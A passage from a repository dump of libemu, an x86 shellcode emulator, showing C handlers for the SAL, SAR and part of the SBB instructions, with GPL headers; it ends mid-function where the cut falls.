\n\t\t\t * Multiply r/m16 by 2, imm8 times\n\t\t\t * SAL r/m16,imm8 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\t/* C1 /4 ib \n\t\t\t * Multiply r/m32 by 2, imm8 times\n\t\t\t * SAL r/m32,imm8 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_d0_sal(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\t/* D0 /4\t\n\t\t * Multiply r/m8 by 2, once          \n\t\t * SAL r/m8,1     \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t m8,\n\t\t\t\t\t\t\t\t 1);\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, m8);     \n\t}\n\telse\n\t{\n\t\t/* D0 /4\t\n\t\t * Multiply r/m8 by 2, once          \n\t\t * SAL r/m8,1     \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t 1);\n\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_d1_sal(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D1 /4\t\n\t\t\t * Multiply r/m16 by 2, once               \n\t\t\t * SAL r/m16,1    \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m16,\n\t\t\t\t\t\t\t\t\t 1);\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, m16);        \n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D1 /4\t\n\t\t\t * Multiply r/m32 by 2, once             \n\t\t\t * SAL r/m32,1    \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m32,\n\t\t\t\t\t\t\t\t\t 1);\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, m32);       \n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D1 /4\t\n\t\t\t * Multiply r/m16 by 2, once               \n\t\t\t * SAL r/m16,1    \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t 1);\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D1 /4\t\n\t\t\t * Multiply r/m32 by 2, once             \n\t\t\t * SAL r/m32,1    \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t 1);\n\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_d2_sal(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\t/* D2 /4   \n\t\t * Multiply r/m8 by 2, CL times      \n\t\t * SAL r/m8,CL    \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t m8,\n\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, m8);     \n\t}\n\telse\n\t{\n\t\t/* D2 /4   \n\t\t * Multiply r/m8 by 2, CL times      \n\t\t * SAL r/m8,CL    \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\t}\n\n\treturn 0;\n}\n\n\nint32_t instr_group_2_d3_sal(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D3 /4   \n\t\t\t * Multiply r/m16 by 2, CL times           \n\t\t\t * SAL r/m16,CL   \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m16,\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, m16);        \n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D3 /4   \n\t\t\t * Multiply r/m32 by 2, CL times         \n\t\t\t * SAL r/m32,CL   \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m32,\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, m32);       \n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D3 /4   \n\t\t\t * Multiply r/m16 by 2, CL times           \n\t\t\t * SAL r/m16,CL   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D3 /4   \n\t\t\t * Multiply r/m32 by 2, CL times         \n\t\t\t * SAL r/m32,CL   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\t\t}\n\t}\n\n\treturn 0;\n}\n"
  },
  {
    "path": "src/functions/sar.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n#include <errno.h>\n\n#define INSTR_CALC(bits, a, b, cpu) \\\nUINTOF(bits) operation_result = (a); \\\nuint8_t operand_b = (b); \\\n{ \\\n\toperand_b &= 0x1f; \\\n\tif( operand_b > 0 ) \\\n\t{ \\\n\t\tif( operation_result & (1 << (operand_b - 1)) ) \\\n\t\t{ \\\n\t\t\tCPU_FLAG_SET(cpu, f_cf); \\\n\t\t} \\\n\t\toperation_result = (UINTOF(bits))((INTOF(bits))operation_result >> operand_b); \\\n\t\tif( operand_b == 1 ) \\\n\t\t{ \\\n\t\t\tCPU_FLAG_UNSET(cpu, f_of); \\\n\t\t} \\\n\t\ta = operation_result; \\\n\t} \\\n}\n\n#define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b) \\\nINSTR_CALC(bits, a, b, cpu) \\\nif (b > 0) \\\n{ \\\n\tINSTR_SET_FLAG_ZF(cpu) \\\n\tINSTR_SET_FLAG_PF(cpu) \\\n\tINSTR_SET_FLAG_SF(cpu) \\\n}\n\n#include \"emu/emu.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_memory.h\"\n\n/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 662*/\n\nint32_t instr_group_2_c0_sar(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\n\t\t/* C0 /7 ib \n\t\t * Signed divide* r/m8 by 2, imm8 times\n\t\t * SAR r/m8,imm8  \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t m8,\n\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, m8);     \n\t}\n\telse\n\t{\n\t\t/* C0 /7 ib \n\t\t * Signed divide* r/m8 by 2, imm8 times\n\t\t * SAR r/m8,imm8  \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t *i->imm8);\n\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_c1_sar(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* C1 /7 ib \n\t\t\t * Signed divide* r/m16 by 2, imm8 times\n\t\t\t * SAR r/m16,imm8 \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m16,\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, m16);        \n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* C1 /7 ib \n\t\t\t * Signed divide* r/m32 by 2, imm8 times\n\t\t\t * SAR r/m32,imm8 \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m32,\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, m32);       \n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* C1 /7 ib \n\t\t\t * Signed divide* r/m16 by 2, imm8 times\n\t\t\t * SAR r/m16,imm8 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* C1 /7 ib \n\t\t\t * Signed divide* r/m32 by 2, imm8 times\n\t\t\t * SAR r/m32,imm8 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_d0_sar(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\t/* D0 /7\t\n\t\t * Signed divide* r/m8 by 2, once            \n\t\t * SAR r/m8,1     \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t m8,\n\t\t\t\t\t\t\t\t 1);\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, m8);     \n\t}\n\telse\n\t{\n\t\t/* D0 /7\t\n\t\t * Signed divide* r/m8 by 2, once            \n\t\t * SAR r/m8,1     \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t 1);\n\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_d1_sar(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D1 /7\t\n\t\t\t * Signed divide* r/m16 by 2, once                      \n\t\t\t * SAR r/m16,1    \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m16,\n\t\t\t\t\t\t\t\t\t 1);\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, m16);        \n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D1 /7\t\n\t\t\t * Signed divide* r/m32 by 2, once                 \n\t\t\t * SAR r/m32,1    \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m32,\n\t\t\t\t\t\t\t\t\t 1);\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, m32);       \n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D1 /7\t\n\t\t\t * Signed divide* r/m16 by 2, once                      \n\t\t\t * SAR r/m16,1    \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t 1);\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D1 /7\t\n\t\t\t * Signed divide* r/m32 by 2, once                 \n\t\t\t * SAR r/m32,1    \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t 1);\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_d2_sar(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\t/* D2 /7   \n\t\t * Signed divide* r/m8 by 2, CL times        \n\t\t * SAR r/m8,CL    \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t m8,\n\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, m8);     \n\t}\n\telse\n\t{\n\t\t/* D2 /7   \n\t\t * Signed divide* r/m8 by 2, CL times        \n\t\t * SAR r/m8,CL    \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\t}\n\n\treturn 0;\n}\n\n\n\nint32_t instr_group_2_d3_sar(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D3 /7   \n\t\t\t * Signed divide* r/m16 by 2, CL times                  \n\t\t\t * SAR r/m16,CL   \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m16,\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, m16);        \n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D3 /7   \n\t\t\t * Signed divide* r/m32 by 2, CL times             \n\t\t\t * SAR r/m32,CL   \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m32,\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, m32);       \n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D3 /7   \n\t\t\t * Signed divide* r/m16 by 2, CL times                  \n\t\t\t * SAR r/m16,CL   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D3 /7   \n\t\t\t * Signed divide* r/m32 by 2, CL times             \n\t\t\t * SAR r/m32,CL   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\t\t}\n\t}\n\n\treturn 0;\n}\n"
  },
  {
    "path": "src/functions/sbb.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\n#define INSTR_CALC(bits, a, b, c, operation, cpu)\t\t\t\\\nUINTOF(bits) operand_a = a;\t\t\t\t\t\t\t\t\\\nUINTOF(bits) operand_b = b;\t\t\t\t\t\t\t\t\\\nUINTOF(bits) operation_result = operand_a operation operand_b operation ((cpu->eflags & (1 << f_cf))?1:0);\t\\\nc = operation_result;\n\n#define INSTR_SET_FLAG_OF(cpu, operand,bits)\t\t\t\t\t\t\t\t\t\t\t\\\n{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tint64_t sx = (INTOF(bits))operand_a;                                            \\\n\tint64_t sy = (INTOF(bits))operand_b;                                            \\\n\tint64_t sz = 0;                                                             \\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tsz = sx operand sy operand ((cpu->eflags & (1 << f_cf))?1:0);\t\t\t\t\t\t\\\n\t/* printf(\"of: sx %lli + sy %lli + cf %i = sz %lli \\n\", sx, sy, (cpu->eflags & (1 << f_cf))?1:0, sz); */ \\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tif (sz < max_inttype_borders[sizeof(operation_result)][0][0] || sz > max_inttype_borders[sizeof(operation_result)][0][1] \\\n\t|| sz != (INTOF(bits))operation_result )\t\t\t\t\t\t\t\t\t    \\\n\t{                                                                           \\\n\t\tCPU_FLAG_SET(cpu, f_of);                                                 \\\n\t}else                                                                       \\\n\t{                                                                           \\\n\t\tCPU_FLAG_UNSET(cpu, f_of);                                               \\\n\t}                                                                           \\\n}\n\n#define INSTR_SET_FLAG_CF(cpu, operand)\t\t\t\t\t\t\t\t\t\t\t\\\n{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tuint64_t ux = (uint64_t)operand_a;                                          \\\n\tuint64_t uy = (uint64_t)operand_b;                                          \\\n\tuint64_t uz = 0;                                                            \\\n\tuz = ux operand uy operand ((cpu->eflags & (1 << f_cf))?1:0);\t\t\t\t\t\\\n\t/*printf(\"cf: ux %lli + uy %lli + cf %i = uz %lli \\n\", ux, uy, (cpu->eflags & (1 << f_cf))?1:0, uz);*/ \\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tif (uz < max_inttype_borders[sizeof(operation_result)][1][0] || uz > max_inttype_borders[sizeof(operation_result)][1][1] \\\n\t|| uz != (uint64_t)operation_result )\t\t\t\t\t\t\t\t\t    \\\n\t{                                                                           \\\n\t\tCPU_FLAG_SET(cpu, f_cf);                                                 \\\n\t}else                                                                       \\\n\t{                                                                           \\\n\t\tCPU_FLAG_UNSET(cpu, f_cf);                                               \\\n\t}                                                                           \\\n}\n\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_memory.h\"\n\n\n#ifdef INSTR_CALC_AND_SET_FLAGS\n#undef INSTR_CALC_AND_SET_FLAGS\n#endif // INSTR_CALC_AND_SET_FLAGS\n\n#define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b, c, operation)\t\\\nINSTR_CALC(bits, a, b, c, operation, cpu)\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_ZF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_PF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_SF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_OF(cpu, operation, bits)\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_CF(cpu, operation)\n\n\n\n#define TRACK_INIT_ALL_FLAGS(instruction_p) \\\nTRACK_INIT_EFLAG(instruction_p, f_zf); \\\nTRACK_INIT_EFLAG(instruction_p, f_pf); \\\nTRACK_INIT_EFLAG(instruction_p, f_sf); \\\nTRACK_INIT_EFLAG(instruction_p, f_of); \\\nTRACK_INIT_EFLAG(instruction_p, f_cf); \n\n\nint32_t instr_sbb_18(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\t/* 18 /r\n\t * Subtract with borrow r8 from r/m8\n\t * SBB r/m8,r8 \n\t */\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tuint8_t dst;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &dst);\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t -)\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, dst);\n\t}\n\telse\n\t{\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t -)\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_sbb_19(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 19 /r\n\t\t\t * Subtract with borrow r16 from r/m16\n\t\t\t * SBB r/m16,r16 \n\t\t\t */\n\n\t\t\tuint16_t dst;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &dst);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t -)\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 19 /r\n\t\t\t * Subtract with borrow r32 from r/m32\n\t\t\t * SBB r/m32,r32 \n\t\t\t */\n\n\t\t\tuint32_t dst;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &dst);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t -)\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 19 /r\n\t\t\t * Subtract with borrow r16 from r/m16\n\t\t\t * SBB r/m16,r16 \n\t\t\t */\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t -)\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 19 /r\n\t\t\t * Subtract with borrow r32 from r/m32\n\t\t\t * SBB r/m32,r32 \n\t\t\t */\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t -)\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_sbb_1a(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\t/* 1A /r\n\t * Subtract with borrow r/m8 from r8\n\t * SBB r8,r/m8 \n\t */\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tuint8_t op;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &op);\n\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t op, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t -)\n\t}\n\telse\n\t{\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t -)\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_sbb_1b(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\t\n\tTRACK_INIT_ALL_FLAGS(c->instr); \n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 1B /r\n\t\t\t * 